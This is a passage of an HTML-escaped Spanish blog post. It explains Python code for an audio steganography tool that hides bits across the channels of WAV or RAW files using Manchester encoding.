style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.current_position = position&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.x = &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;0&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.channel_number = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.getNumberOfChannels()&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;for&lt;/b&gt; bit in bit_string:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.setBit(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.current_position, &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;int&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(bit),  &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.x)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;if&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.x &amp;lt; &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.channel_number-&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;1&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.x = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.x + &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;1&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.x = &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;0&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.current_position = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.current_position + &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;/&lt;br /&gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.step * &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;2&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt; + &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.separation&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.last_position = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.current_position&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;Como se puede ver, &lt;span style="font-style: italic;"&gt;encodeBits()&lt;/span&gt; distribuye los bits por los &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;diferentes canales de los que consta el fichero portador, de manera que si el fichero tuviera 2 canales uno tendría los bits impares y el otro los impares. Esta distribución entre todos los canales permite ocultar mayor cantidad de información y, al equidistribuir las manipulaciones, permite hacer las anomalías menos llamativas (imaginemos si no como llamaría la atención tener un canal, p.ej el izquierdo, con un sonido limpio y el derecho con algo de "nieve" o ruido). La&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; clave de esta función es a su vez &lt;span style="font-style: italic;"&gt;setBit()&lt;/span&gt; que se encarga de codificar el bit a ocultar en formato Mánchester sobre la señal portadora:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;pre&gt;&lt;span style="color: rgb(20, 19, 18);"&gt; &lt;span style="font-size:85%;"&gt;&lt;b&gt;def&lt;/b&gt; setBit(&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;, startPosition, value, track = LEFT):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;        """ To put a bit in a position. """&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.original_values = []&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.modified_values = []&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;if&lt;/b&gt; (startPosition &lt; (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileSound.length(unit=&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;'SAMPLES&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;) - &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;/&lt;br /&gt;len&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.step_range))):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;for&lt;/b&gt; i in &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;range&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(startPosition, startPosition +&lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt; /&lt;br /&gt;len&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.step_range)):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.channel_values = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileSound.sample(i)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.original_values.append(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.channel_values.split())&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;else&lt;/b&gt;: &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;# To avoid an index out of bounds in the last few samples.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;for&lt;/b&gt; i in &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;range&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(startPosition,&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileSound.length/&lt;br /&gt;(unit=&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;'SAMPLES'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;)):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.channel_values = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileSound.sample(i)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.original_values.append(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.channel_values.split())&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.overall = &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;0&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;for&lt;/b&gt; original_value in &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.original_values:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.overall = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.overall + &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;int&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(original_value[track]) &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.mean_value = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.overall/&lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;len&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.step_range)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;# It looks like tkinter has kind of value range limit /&lt;br /&gt;depending of filetyp&lt;/i&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;e, so I have to put values within&lt;/i&gt;&lt;/span&gt; &lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;this limits.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;if&lt;/b&gt; ((&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileSound[&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;'fileformat'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;] == &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;'WAV'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;) or /&lt;br /&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileSound[&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;'fileformat'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;] == &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;'RAW'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;)):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;if&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.mean_value &gt;= (WAV_MAX - &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.delta)):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.mean_value = WAV_MAX - &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.delta&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;elif&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.mean_value &lt;= (WAV_MIN + &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.delta)):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.mean_value = WAV_MIN + &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.delta&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.modified_values = copy.deepcopy(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.original_values)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;for&lt;/b&gt; modified_value in &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.modified_values:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;if&lt;/b&gt; (value == &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;):&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;if&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.modified_values.index(modified_value)&lt; &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;/&lt;br /&gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.step):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                    modified_value[track] = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.mean_value + &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;/&lt;br /&gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.delta&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                    modified_value[track] = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.mean_value - &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;/&lt;br /&gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.delta&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;if&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.modified_values.index(modified_value)&lt; &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;/&lt;br /&gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.step):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                    modified_value[track] = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.mean_value - /&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.delta&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                    modified_value[track] = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.mean_value + &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;/&lt;br /&gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.delta&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.r = &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;0&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;if&lt;/b&gt; (startPosition &lt; (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileSound.length(unit=&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;'SAMPLES'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;) - /&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;len&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.step_range))):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;for&lt;/b&gt; i in &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;range&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(startPosition, /&lt;br /&gt;startPosition+&lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;len&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.step_range)):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;if&lt;/b&gt; (track == RIGHT):&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                    &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileSound.sample(i, /&lt;br /&gt;right = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.modified_values[&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.r][RIGHT])&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                    &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileSound.sample(i, /&lt;br /&gt;left = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.modified_values[&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.r][LEFT])&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" 